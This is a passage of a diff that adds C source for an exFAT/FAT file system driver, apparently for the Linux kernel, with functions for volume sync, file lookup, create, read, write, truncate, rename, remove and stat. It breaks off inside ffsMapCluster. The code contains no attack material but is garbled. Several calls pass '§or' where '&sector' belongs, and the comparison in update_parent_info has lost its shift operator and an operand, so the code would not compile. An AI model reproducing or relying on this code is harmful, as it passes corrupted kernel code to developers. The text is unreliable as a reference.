FFS_SUCCESS; +} /* end of ffsGetVolInfo */ + +/* ffsSyncVol : synchronize all file system volumes */ +s32 ffsSyncVol(struct super_block *sb, s32 do_sync) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* synchronize the file system */ + fs_sync(sb, do_sync); + fs_set_vol_flags(sb, VOL_CLEAN); + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsSyncVol */ + +/*----------------------------------------------------------------------*/ +/* File Operation Functions */ +/*----------------------------------------------------------------------*/ + +/* ffsLookupFile : lookup a file */ +s32 ffsLookupFile(struct inode *inode, char *path, FILE_ID_T *fid) +{ + s32 ret, dentry, num_entries; + CHAIN_T dir; + UNI_NAME_T uni_name; + DOS_NAME_T dos_name; + DENTRY_T *ep, *ep2; + ENTRY_SET_CACHE_T *es = NULL; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + DPRINTK("ffsLookupFile entered\n"); + + /* check the validity of directory name in the given pathname */ + ret = resolve_path(inode, path, &dir, &uni_name); + if (ret) + return ret; + + ret = get_num_entries_and_dos_name(sb, &dir, &uni_name, &num_entries, &dos_name); + if (ret) + return ret; + + /* search the file name for directories */ + dentry = p_fs->fs_func->find_dir_entry(sb, &dir, &uni_name, num_entries, &dos_name, TYPE_ALL); + if (dentry < -1) + return FFS_NOTFOUND; + + fid->dir.dir = dir.dir; + fid->dir.size = dir.size; + fid->dir.flags = dir.flags; + fid->entry = dentry; + + if (dentry == -1) { + fid->type = TYPE_DIR; + fid->rwoffset = 0; + fid->hint_last_off = -1; + + fid->attr = ATTR_SUBDIR; + fid->flags = 0x01; + fid->size = 0; + fid->start_clu = p_fs->root_dir; + } else { + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &dir, dentry, ES_2_ENTRIES, &ep); + if (!es) + return FFS_MEDIAERR; + ep2 = ep+1; + } else { + ep = get_entry_in_dir(sb, &dir, dentry, NULL); + if (!ep) + return FFS_MEDIAERR; + ep2 = ep; + } + + fid->type = p_fs->fs_func->get_entry_type(ep); + fid->rwoffset = 0; + fid->hint_last_off = -1; + fid->attr = p_fs->fs_func->get_entry_attr(ep); + + fid->size = p_fs->fs_func->get_entry_size(ep2); + if ((fid->type == TYPE_FILE) && (fid->size == 0)) { + fid->flags = (p_fs->vol_type == EXFAT) ? 0x03 : 0x01; + fid->start_clu = CLUSTER_32(~0); + } else { + fid->flags = p_fs->fs_func->get_entry_flag(ep2); + fid->start_clu = p_fs->fs_func->get_entry_clu0(ep2); + } + + if (p_fs->vol_type == EXFAT) + release_entry_set(es); + } + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + DPRINTK("ffsLookupFile exited successfully\n"); + + return FFS_SUCCESS; +} /* end of ffsLookupFile */ + +/* ffsCreateFile : create a file */ +s32 ffsCreateFile(struct inode *inode, char *path, u8 mode, FILE_ID_T *fid) +{ + s32 ret/*, dentry*/; + CHAIN_T dir; + UNI_NAME_T uni_name; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + /* check the validity of directory name in the given pathname */ + ret = resolve_path(inode, path, &dir, &uni_name); + if (ret) + return ret; + + fs_set_vol_flags(sb, VOL_DIRTY); + + /* create a new file */ + ret = create_file(inode, &dir, &uni_name, mode, fid); + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return ret; +} /* end of ffsCreateFile */ + +/* ffsReadFile : read data from a opened file */ +s32 ffsReadFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *rcount) +{ + s32 offset, sec_offset, clu_offset; + u32 clu, LogSector; + u64 oneblkread, read_bytes; + struct buffer_head *tmp_bh = NULL; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + /* check if the given file ID is opened */ + if (fid->type != TYPE_FILE) + return FFS_PERMISSIONERR; + + if (fid->rwoffset > fid->size) + fid->rwoffset = fid->size; + + if (count > (fid->size - fid->rwoffset)) + count = fid->size - fid->rwoffset; + + if (count == 0) { + if (rcount != NULL) + *rcount = 0; + return FFS_EOF; + } + + read_bytes = 0; + + while (count > 0) { + clu_offset = (s32)(fid->rwoffset >> p_fs->cluster_size_bits); + clu = fid->start_clu; + + if (fid->flags == 0x03) { + clu += clu_offset; + } else { + /* hint information */ + if ((clu_offset > 0) && (fid->hint_last_off > 0) && + (clu_offset >= fid->hint_last_off)) { + clu_offset -= fid->hint_last_off; + clu = fid->hint_last_clu; + } + + while (clu_offset > 0) { + /* clu = FAT_read(sb, clu); */ + if (FAT_read(sb, clu, &clu) == -1) + return FFS_MEDIAERR; + + clu_offset--; + } + } + + /* hint information */ + fid->hint_last_off = (s32)(fid->rwoffset >> p_fs->cluster_size_bits); + fid->hint_last_clu = clu; + + offset = (s32)(fid->rwoffset & (p_fs->cluster_size-1)); /* byte offset in cluster */ + sec_offset = offset >> p_bd->sector_size_bits; /* sector offset in cluster */ + offset &= p_bd->sector_size_mask; /* byte offset in sector */ + + LogSector = START_SECTOR(clu) + sec_offset; + + oneblkread = (u64)(p_bd->sector_size - offset); + if (oneblkread > count) + oneblkread = count; + + if ((offset == 0) && (oneblkread == p_bd->sector_size)) { + if (sector_read(sb, LogSector, &tmp_bh, 1) != FFS_SUCCESS) + goto err_out; + memcpy(((char *) buffer)+read_bytes, ((char *) tmp_bh->b_data), (s32) oneblkread); + } else { + if (sector_read(sb, LogSector, &tmp_bh, 1) != FFS_SUCCESS) + goto err_out; + memcpy(((char *) buffer)+read_bytes, ((char *) tmp_bh->b_data)+offset, (s32) oneblkread); + } + count -= oneblkread; + read_bytes += oneblkread; + fid->rwoffset += oneblkread; + } + brelse(tmp_bh); + +err_out: + /* set the size of read bytes */ + if (rcount != NULL) + *rcount = read_bytes; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsReadFile */ + +/* ffsWriteFile : write data into a opened file */ +s32 ffsWriteFile(struct inode *inode, FILE_ID_T *fid, void *buffer, u64 count, u64 *wcount) +{ + s32 modified = FALSE, offset, sec_offset, clu_offset; + s32 num_clusters, num_alloc, num_alloced = (s32) ~0; + u32 clu, last_clu, LogSector, sector = 0; + u64 oneblkwrite, write_bytes; + CHAIN_T new_clu; + TIMESTAMP_T tm; + DENTRY_T *ep, *ep2; + ENTRY_SET_CACHE_T *es = NULL; + struct buffer_head *tmp_bh = NULL; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + BD_INFO_T *p_bd = &(EXFAT_SB(sb)->bd_info); + + /* check if the given file ID is opened */ + if (fid->type != TYPE_FILE) + return FFS_PERMISSIONERR; + + if (fid->rwoffset > fid->size) + fid->rwoffset = fid->size; + + if (count == 0) { + if (wcount != NULL) + *wcount = 0; + return FFS_SUCCESS; + } + + fs_set_vol_flags(sb, VOL_DIRTY); + + if (fid->size == 0) + num_clusters = 0; + else + num_clusters = (s32)((fid->size-1) >> p_fs->cluster_size_bits) + 1; + + write_bytes = 0; + + while (count > 0) { + clu_offset = (s32)(fid->rwoffset >> p_fs->cluster_size_bits); + clu = last_clu = fid->start_clu; + + if (fid->flags == 0x03) { + if ((clu_offset > 0) && (clu != CLUSTER_32(~0))) { + last_clu += clu_offset - 1; + + if (clu_offset == num_clusters) + clu = CLUSTER_32(~0); + else + clu += clu_offset; + } + } else { + /* hint information */ + if ((clu_offset > 0) && (fid->hint_last_off > 0) && + (clu_offset >= fid->hint_last_off)) { + clu_offset -= fid->hint_last_off; + clu = fid->hint_last_clu; + } + + while ((clu_offset > 0) && (clu != CLUSTER_32(~0))) { + last_clu = clu; + /* clu = FAT_read(sb, clu); */ + if (FAT_read(sb, clu, &clu) == -1) + return FFS_MEDIAERR; + + clu_offset--; + } + } + + if (clu == CLUSTER_32(~0)) { + num_alloc = (s32)((count-1) >> p_fs->cluster_size_bits) + 1; + new_clu.dir = (last_clu == CLUSTER_32(~0)) ? CLUSTER_32(~0) : last_clu+1; + new_clu.size = 0; + new_clu.flags = fid->flags; + + /* (1) allocate a chain of clusters */ + num_alloced = p_fs->fs_func->alloc_cluster(sb, num_alloc, &new_clu); + if (num_alloced == 0) + break; + else if (num_alloced < 0) + return FFS_MEDIAERR; + + /* (2) append to the FAT chain */ + if (last_clu == CLUSTER_32(~0)) { + if (new_clu.flags == 0x01) + fid->flags = 0x01; + fid->start_clu = new_clu.dir; + modified = TRUE; + } else { + if (new_clu.flags != fid->flags) { + exfat_chain_cont_cluster(sb, fid->start_clu, num_clusters); + fid->flags = 0x01; + modified = TRUE; + } + if (new_clu.flags == 0x01) + FAT_write(sb, last_clu, new_clu.dir); + } + + num_clusters += num_alloced; + clu = new_clu.dir; + } + + /* hint information */ + fid->hint_last_off = (s32)(fid->rwoffset >> p_fs->cluster_size_bits); + fid->hint_last_clu = clu; + + offset = (s32)(fid->rwoffset & (p_fs->cluster_size-1)); /* byte offset in cluster */ + sec_offset = offset >> p_bd->sector_size_bits; /* sector offset in cluster */ + offset &= p_bd->sector_size_mask; /* byte offset in sector */ + + LogSector = START_SECTOR(clu) + sec_offset; + + oneblkwrite = (u64)(p_bd->sector_size - offset); + if (oneblkwrite > count) + oneblkwrite = count; + + if ((offset == 0) && (oneblkwrite == p_bd->sector_size)) { + if (sector_read(sb, LogSector, &tmp_bh, 0) != FFS_SUCCESS) + goto err_out; + memcpy(((char *) tmp_bh->b_data), ((char *) buffer)+write_bytes, (s32) oneblkwrite); + if (sector_write(sb, LogSector, tmp_bh, 0) != FFS_SUCCESS) { + brelse(tmp_bh); + goto err_out; + } + } else { + if ((offset > 0) || ((fid->rwoffset+oneblkwrite) < fid->size)) { + if (sector_read(sb, LogSector, &tmp_bh, 1) != FFS_SUCCESS) + goto err_out; + } else { + if (sector_read(sb, LogSector, &tmp_bh, 0) != FFS_SUCCESS) + goto err_out; + } + + memcpy(((char *) tmp_bh->b_data)+offset, ((char *) buffer)+write_bytes, (s32) oneblkwrite); + if (sector_write(sb, LogSector, tmp_bh, 0) != FFS_SUCCESS) { + brelse(tmp_bh); + goto err_out; + } + } + + count -= oneblkwrite; + write_bytes += oneblkwrite; + fid->rwoffset += oneblkwrite; + + fid->attr |= ATTR_ARCHIVE; + + if (fid->size < fid->rwoffset) { + fid->size = fid->rwoffset; + modified = TRUE; + } + } + + brelse(tmp_bh); + + /* (3) update the direcoty entry */ + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &(fid->dir), fid->entry, ES_ALL_ENTRIES, &ep); + if (es == NULL) + goto err_out; + ep2 = ep+1; + } else { + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry, §or); + if (!ep) + goto err_out; + ep2 = ep; + } + + p_fs->fs_func->set_entry_time(ep, tm_current(&tm), TM_MODIFY); + p_fs->fs_func->set_entry_attr(ep, fid->attr); + + if (p_fs->vol_type != EXFAT) + buf_modify(sb, sector); + + if (modified) { + if (p_fs->fs_func->get_entry_flag(ep2) != fid->flags) + p_fs->fs_func->set_entry_flag(ep2, fid->flags); + + if (p_fs->fs_func->get_entry_size(ep2) != fid->size) + p_fs->fs_func->set_entry_size(ep2, fid->size); + + if (p_fs->fs_func->get_entry_clu0(ep2) != fid->start_clu) + p_fs->fs_func->set_entry_clu0(ep2, fid->start_clu); + + if (p_fs->vol_type != EXFAT) + buf_modify(sb, sector); + } + + if (p_fs->vol_type == EXFAT) { + update_dir_checksum_with_entry_set(sb, es); + release_entry_set(es); + } + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + +err_out: + /* set the size of written bytes */ + if (wcount != NULL) + *wcount = write_bytes; + + if (num_alloced == 0) + return FFS_FULL; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsWriteFile */ + +/* ffsTruncateFile : resize the file length */ +s32 ffsTruncateFile(struct inode *inode, u64 old_size, u64 new_size) +{ + s32 num_clusters; + u32 last_clu = CLUSTER_32(0), sector = 0; + CHAIN_T clu; + TIMESTAMP_T tm; + DENTRY_T *ep, *ep2; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + ENTRY_SET_CACHE_T *es = NULL; + + /* check if the given file ID is opened */ + if (fid->type != TYPE_FILE) + return FFS_PERMISSIONERR; + + if (fid->size != old_size) { + printk(KERN_ERR "[EXFAT] truncate : can't skip it because of " + "size-mismatch(old:%lld->fid:%lld).\n" + ,old_size, fid->size); + } + + if (old_size <= new_size) + return FFS_SUCCESS; + + fs_set_vol_flags(sb, VOL_DIRTY); + + clu.dir = fid->start_clu; + clu.size = (s32)((old_size-1) >> p_fs->cluster_size_bits) + 1; + clu.flags = fid->flags; + + if (new_size > 0) { + num_clusters = (s32)((new_size-1) >> p_fs->cluster_size_bits) + 1; + + if (clu.flags == 0x03) { + clu.dir += num_clusters; + } else { + while (num_clusters > 0) { + last_clu = clu.dir; + if (FAT_read(sb, clu.dir, &(clu.dir)) == -1) + return FFS_MEDIAERR; + num_clusters--; + } + } + + clu.size -= num_clusters; + } + + fid->size = new_size; + fid->attr |= ATTR_ARCHIVE; + if (new_size == 0) { + fid->flags = (p_fs->vol_type == EXFAT) ? 0x03 : 0x01; + fid->start_clu = CLUSTER_32(~0); + } + + /* (1) update the directory entry */ + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &(fid->dir), fid->entry, ES_ALL_ENTRIES, &ep); + if (es == NULL) + return FFS_MEDIAERR; + ep2 = ep+1; + } else { + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry, §or); + if (!ep) + return FFS_MEDIAERR; + ep2 = ep; + } + + p_fs->fs_func->set_entry_time(ep, tm_current(&tm), TM_MODIFY); + p_fs->fs_func->set_entry_attr(ep, fid->attr); + + p_fs->fs_func->set_entry_size(ep2, new_size); + if (new_size == 0) { + p_fs->fs_func->set_entry_flag(ep2, 0x01); + p_fs->fs_func->set_entry_clu0(ep2, CLUSTER_32(0)); + } + + if (p_fs->vol_type != EXFAT) + buf_modify(sb, sector); + else { + update_dir_checksum_with_entry_set(sb, es); + release_entry_set(es); + } + + /* (2) cut off from the FAT chain */ + if (last_clu != CLUSTER_32(0)) { + if (fid->flags == 0x01) + FAT_write(sb, last_clu, CLUSTER_32(~0)); + } + + /* (3) free the clusters */ + p_fs->fs_func->free_cluster(sb, &clu, 0); + + /* hint information */ + fid->hint_last_off = -1; + if (fid->rwoffset > fid->size) + fid->rwoffset = fid->size; + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsTruncateFile */ + +static void update_parent_info(FILE_ID_T *fid, struct inode *parent_inode) +{ + FS_INFO_T *p_fs = &(EXFAT_SB(parent_inode->i_sb)->fs_info); + FILE_ID_T *parent_fid = &(EXFAT_I(parent_inode)->fid); + + if (unlikely((parent_fid->flags != fid->dir.flags) + || (parent_fid->size != (fid->dir.size<cluster_size_bits)) + || (parent_fid->start_clu != fid->dir.dir))) { + + fid->dir.dir = parent_fid->start_clu; + fid->dir.flags = parent_fid->flags; + fid->dir.size = ((parent_fid->size + (p_fs->cluster_size-1)) + >> p_fs->cluster_size_bits); + } +} + +/* ffsMoveFile : move(rename) a old file into a new file */ +s32 ffsMoveFile(struct inode *old_parent_inode, FILE_ID_T *fid, struct inode *new_parent_inode, struct dentry *new_dentry) +{ + s32 ret; + s32 dentry; + CHAIN_T olddir, newdir; + CHAIN_T *p_dir = NULL; + UNI_NAME_T uni_name; + DENTRY_T *ep; + struct super_block *sb = old_parent_inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + u8 *new_path = (u8 *) new_dentry->d_name.name; + struct inode *new_inode = new_dentry->d_inode; + int num_entries; + FILE_ID_T *new_fid = NULL; + s32 new_entry = 0; + + /* check the validity of pointer parameters */ + if ((new_path == NULL) || (*new_path == '\0')) + return FFS_ERROR; + + update_parent_info(fid, old_parent_inode); + + olddir.dir = fid->dir.dir; + olddir.size = fid->dir.size; + olddir.flags = fid->dir.flags; + + dentry = fid->entry; + + /* check if the old file is "." or ".." */ + if (p_fs->vol_type != EXFAT) { + if ((olddir.dir != p_fs->root_dir) && (dentry < 2)) + return FFS_PERMISSIONERR; + } + + ep = get_entry_in_dir(sb, &olddir, dentry, NULL); + if (!ep) + return FFS_MEDIAERR; + + if (p_fs->fs_func->get_entry_attr(ep) & ATTR_READONLY) + return FFS_PERMISSIONERR; + + /* check whether new dir is existing directory and empty */ + if (new_inode) { + u32 entry_type; + + ret = FFS_MEDIAERR; + new_fid = &EXFAT_I(new_inode)->fid; + + update_parent_info(new_fid, new_parent_inode); + + p_dir = &(new_fid->dir); + new_entry = new_fid->entry; + ep = get_entry_in_dir(sb, p_dir, new_entry, NULL); + if (!ep) + goto out; + + entry_type = p_fs->fs_func->get_entry_type(ep); + + if (entry_type == TYPE_DIR) { + CHAIN_T new_clu; + new_clu.dir = new_fid->start_clu; + new_clu.size = (s32)((new_fid->size-1) >> p_fs->cluster_size_bits) + 1; + new_clu.flags = new_fid->flags; + + if (!is_dir_empty(sb, &new_clu)) + return FFS_FILEEXIST; + } + } + + /* check the validity of directory name in the given new pathname */ + ret = resolve_path(new_parent_inode, new_path, &newdir, &uni_name); + if (ret) + return ret; + + fs_set_vol_flags(sb, VOL_DIRTY); + + if (olddir.dir == newdir.dir) + ret = rename_file(new_parent_inode, &olddir, dentry, &uni_name, fid); + else + ret = move_file(new_parent_inode, &olddir, dentry, &newdir, &uni_name, fid); + + if ((ret == FFS_SUCCESS) && new_inode) { + /* delete entries of new_dir */ + ep = get_entry_in_dir(sb, p_dir, new_entry, NULL); + if (!ep) + goto out; + + num_entries = p_fs->fs_func->count_ext_entries(sb, p_dir, new_entry, ep); + if (num_entries < 0) + goto out; + p_fs->fs_func->delete_dir_entry(sb, p_dir, new_entry, 0, num_entries+1); + } +out: +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return ret; +} /* end of ffsMoveFile */ + +/* ffsRemoveFile : remove a file */ +s32 ffsRemoveFile(struct inode *inode, FILE_ID_T *fid) +{ + s32 dentry; + CHAIN_T dir, clu_to_free; + DENTRY_T *ep; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + + dir.dir = fid->dir.dir; + dir.size = fid->dir.size; + dir.flags = fid->dir.flags; + + dentry = fid->entry; + + ep = get_entry_in_dir(sb, &dir, dentry, NULL); + if (!ep) + return FFS_MEDIAERR; + + if (p_fs->fs_func->get_entry_attr(ep) & ATTR_READONLY) + return FFS_PERMISSIONERR; + + fs_set_vol_flags(sb, VOL_DIRTY); + + /* (1) update the directory entry */ + remove_file(inode, &dir, dentry); + + clu_to_free.dir = fid->start_clu; + clu_to_free.size = (s32)((fid->size-1) >> p_fs->cluster_size_bits) + 1; + clu_to_free.flags = fid->flags; + + /* (2) free the clusters */ + p_fs->fs_func->free_cluster(sb, &clu_to_free, 0); + + fid->size = 0; + fid->start_clu = CLUSTER_32(~0); + fid->flags = (p_fs->vol_type == EXFAT) ? 0x03 : 0x01; + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsRemoveFile */ + +/* ffsSetAttr : set the attribute of a given file */ +s32 ffsSetAttr(struct inode *inode, u32 attr) +{ + u32 type, sector = 0; + DENTRY_T *ep; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + u8 is_dir = (fid->type == TYPE_DIR) ? 1 : 0; + ENTRY_SET_CACHE_T *es = NULL; + + if (fid->attr == attr) { + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + return FFS_SUCCESS; + } + + if (is_dir) { + if ((fid->dir.dir == p_fs->root_dir) && + (fid->entry == -1)) { + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + return FFS_SUCCESS; + } + } + + /* get the directory entry of given file */ + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &(fid->dir), fid->entry, ES_ALL_ENTRIES, &ep); + if (es == NULL) + return FFS_MEDIAERR; + } else { + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry, §or); + if (!ep) + return FFS_MEDIAERR; + } + + type = p_fs->fs_func->get_entry_type(ep); + + if (((type == TYPE_FILE) && (attr & ATTR_SUBDIR)) || + ((type == TYPE_DIR) && (!(attr & ATTR_SUBDIR)))) { + s32 err; + if (p_fs->dev_ejected) + err = FFS_MEDIAERR; + else + err = FFS_ERROR; + + if (p_fs->vol_type == EXFAT) + release_entry_set(es); + return err; + } + + fs_set_vol_flags(sb, VOL_DIRTY); + + /* set the file attribute */ + fid->attr = attr; + p_fs->fs_func->set_entry_attr(ep, attr); + + if (p_fs->vol_type != EXFAT) + buf_modify(sb, sector); + else { + update_dir_checksum_with_entry_set(sb, es); + release_entry_set(es); + } + +#ifdef CONFIG_EXFAT_DELAYED_SYNC + fs_sync(sb, 0); + fs_set_vol_flags(sb, VOL_CLEAN); +#endif + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsSetAttr */ + +/* ffsGetStat : get the information of a given file */ +s32 ffsGetStat(struct inode *inode, DIR_ENTRY_T *info) +{ + u32 sector = 0; + s32 count; + CHAIN_T dir; + UNI_NAME_T uni_name; + TIMESTAMP_T tm; + DENTRY_T *ep, *ep2; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + ENTRY_SET_CACHE_T *es = NULL; + u8 is_dir = (fid->type == TYPE_DIR) ? 1 : 0; + + DPRINTK("ffsGetStat entered\n"); + + if (is_dir) { + if ((fid->dir.dir == p_fs->root_dir) && + (fid->entry == -1)) { + info->Attr = ATTR_SUBDIR; + memset((char *) &info->CreateTimestamp, 0, sizeof(DATE_TIME_T)); + memset((char *) &info->ModifyTimestamp, 0, sizeof(DATE_TIME_T)); + memset((char *) &info->AccessTimestamp, 0, sizeof(DATE_TIME_T)); + strcpy(info->ShortName, "."); + strcpy(info->Name, "."); + + dir.dir = p_fs->root_dir; + dir.flags = 0x01; + + if (p_fs->root_dir == CLUSTER_32(0)) /* FAT16 root_dir */ + info->Size = p_fs->dentries_in_root << DENTRY_SIZE_BITS; + else + info->Size = count_num_clusters(sb, &dir) << p_fs->cluster_size_bits; + + count = count_dos_name_entries(sb, &dir, TYPE_DIR); + if (count < 0) + return FFS_MEDIAERR; + info->NumSubdirs = count; + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + return FFS_SUCCESS; + } + } + + /* get the directory entry of given file or directory */ + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &(fid->dir), fid->entry, ES_2_ENTRIES, &ep); + if (es == NULL) + return FFS_MEDIAERR; + ep2 = ep+1; + } else { + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry, §or); + if (!ep) + return FFS_MEDIAERR; + ep2 = ep; + buf_lock(sb, sector); + } + + /* set FILE_INFO structure using the acquired DENTRY_T */ + info->Attr = p_fs->fs_func->get_entry_attr(ep); + + p_fs->fs_func->get_entry_time(ep, &tm, TM_CREATE); + info->CreateTimestamp.Year = tm.year; + info->CreateTimestamp.Month = tm.mon; + info->CreateTimestamp.Day = tm.day; + info->CreateTimestamp.Hour = tm.hour; + info->CreateTimestamp.Minute = tm.min; + info->CreateTimestamp.Second = tm.sec; + info->CreateTimestamp.MilliSecond = 0; + + p_fs->fs_func->get_entry_time(ep, &tm, TM_MODIFY); + info->ModifyTimestamp.Year = tm.year; + info->ModifyTimestamp.Month = tm.mon; + info->ModifyTimestamp.Day = tm.day; + info->ModifyTimestamp.Hour = tm.hour; + info->ModifyTimestamp.Minute = tm.min; + info->ModifyTimestamp.Second = tm.sec; + info->ModifyTimestamp.MilliSecond = 0; + + memset((char *) &info->AccessTimestamp, 0, sizeof(DATE_TIME_T)); + + *(uni_name.name) = 0x0; + /* XXX this is very bad for exfat cuz name is already included in es. + API should be revised */ + p_fs->fs_func->get_uni_name_from_ext_entry(sb, &(fid->dir), fid->entry, uni_name.name); + if (*(uni_name.name) == 0x0 && p_fs->vol_type != EXFAT) + get_uni_name_from_dos_entry(sb, (DOS_DENTRY_T *) ep, &uni_name, 0x1); + nls_uniname_to_cstring(sb, info->Name, &uni_name); + + if (p_fs->vol_type == EXFAT) { + info->NumSubdirs = 2; + } else { + buf_unlock(sb, sector); + get_uni_name_from_dos_entry(sb, (DOS_DENTRY_T *) ep, &uni_name, 0x0); + nls_uniname_to_cstring(sb, info->ShortName, &uni_name); + info->NumSubdirs = 0; + } + + info->Size = p_fs->fs_func->get_entry_size(ep2); + + if (p_fs->vol_type == EXFAT) + release_entry_set(es); + + if (is_dir) { + dir.dir = fid->start_clu; + dir.flags = 0x01; + + if (info->Size == 0) + info->Size = (u64) count_num_clusters(sb, &dir) << p_fs->cluster_size_bits; + + count = count_dos_name_entries(sb, &dir, TYPE_DIR); + if (count < 0) + return FFS_MEDIAERR; + info->NumSubdirs += count; + } + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + DPRINTK("ffsGetStat exited successfully\n"); + return FFS_SUCCESS; +} /* end of ffsGetStat */ + +/* ffsSetStat : set the information of a given file */ +s32 ffsSetStat(struct inode *inode, DIR_ENTRY_T *info) +{ + u32 sector = 0; + TIMESTAMP_T tm; + DENTRY_T *ep, *ep2; + ENTRY_SET_CACHE_T *es = NULL; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + u8 is_dir = (fid->type == TYPE_DIR) ? 1 : 0; + + if (is_dir) { + if ((fid->dir.dir == p_fs->root_dir) && + (fid->entry == -1)) { + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + return FFS_SUCCESS; + } + } + + fs_set_vol_flags(sb, VOL_DIRTY); + + /* get the directory entry of given file or directory */ + if (p_fs->vol_type == EXFAT) { + es = get_entry_set_in_dir(sb, &(fid->dir), fid->entry, ES_ALL_ENTRIES, &ep); + if (es == NULL) + return FFS_MEDIAERR; + ep2 = ep+1; + } else { + /* for other than exfat */ + ep = get_entry_in_dir(sb, &(fid->dir), fid->entry, §or); + if (!ep) + return FFS_MEDIAERR; + ep2 = ep; + } + + + p_fs->fs_func->set_entry_attr(ep, info->Attr); + + /* set FILE_INFO structure using the acquired DENTRY_T */ + tm.sec = info->CreateTimestamp.Second; + tm.min = info->CreateTimestamp.Minute; + tm.hour = info->CreateTimestamp.Hour; + tm.day = info->CreateTimestamp.Day; + tm.mon = info->CreateTimestamp.Month; + tm.year = info->CreateTimestamp.Year; + p_fs->fs_func->set_entry_time(ep, &tm, TM_CREATE); + + tm.sec = info->ModifyTimestamp.Second; + tm.min = info->ModifyTimestamp.Minute; + tm.hour = info->ModifyTimestamp.Hour; + tm.day = info->ModifyTimestamp.Day; + tm.mon = info->ModifyTimestamp.Month; + tm.year = info->ModifyTimestamp.Year; + p_fs->fs_func->set_entry_time(ep, &tm, TM_MODIFY); + + + p_fs->fs_func->set_entry_size(ep2, info->Size); + + if (p_fs->vol_type != EXFAT) { + buf_modify(sb, sector); + } else { + update_dir_checksum_with_entry_set(sb, es); + release_entry_set(es); + } + + if (p_fs->dev_ejected) + return FFS_MEDIAERR; + + return FFS_SUCCESS; +} /* end of ffsSetStat */ + +s32 ffsMapCluster(struct inode *inode, s32 clu_offset, u32 *clu) +{ + s32 num_clusters, num_alloced, modified = FALSE; + u32 last_clu, sector = 0; + CHAIN_T new_clu; + DENTRY_T *ep; + ENTRY_SET_CACHE_T *es = NULL; + struct super_block *sb = inode->i_sb; + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + FILE_ID_T *fid = &(EXFAT_I(inode)->fid); + + fid->rwoffset = (s64)(clu_offset) << p_fs->cluster_size_bits; + + if (EXFAT_I(inode)->mmu_private == 0) + num_clusters = 0; + else + num_clusters = (s32)((EXFAT_I(inode)->mmu_private-1) >> p_fs->cluster_size_bits) + 1; + + *clu = last_clu = fid->start_clu; + + if (fid->flags == 0x03) { + if ((clu_offset > 0) && (*clu != CLUSTER_32(~0))) { + last_clu += clu_offset - 1; + + if (clu_offset == num_clusters) + *clu = CLUSTER_32(~0); + else + *clu += clu_offset; + } + } else { + /* hint information */ + if ((clu_offset > 0) && (fid->hint_last_off > 0) && + (clu_offset >= fid->hint_last_off)) { + clu_offset -= fid->hint_last_off; + *clu = fid->hint_last_clu; + } + + while ((clu_offset > 0) && (*clu != CLUSTER_32(~0))) { + last_clu = *clu; + if (FAT_read(sb, *clu, clu) == -1) + return FFS_MEDIAERR; + clu_offset--; + } + } + + if (*clu == CLUSTER_32(~0)) { + 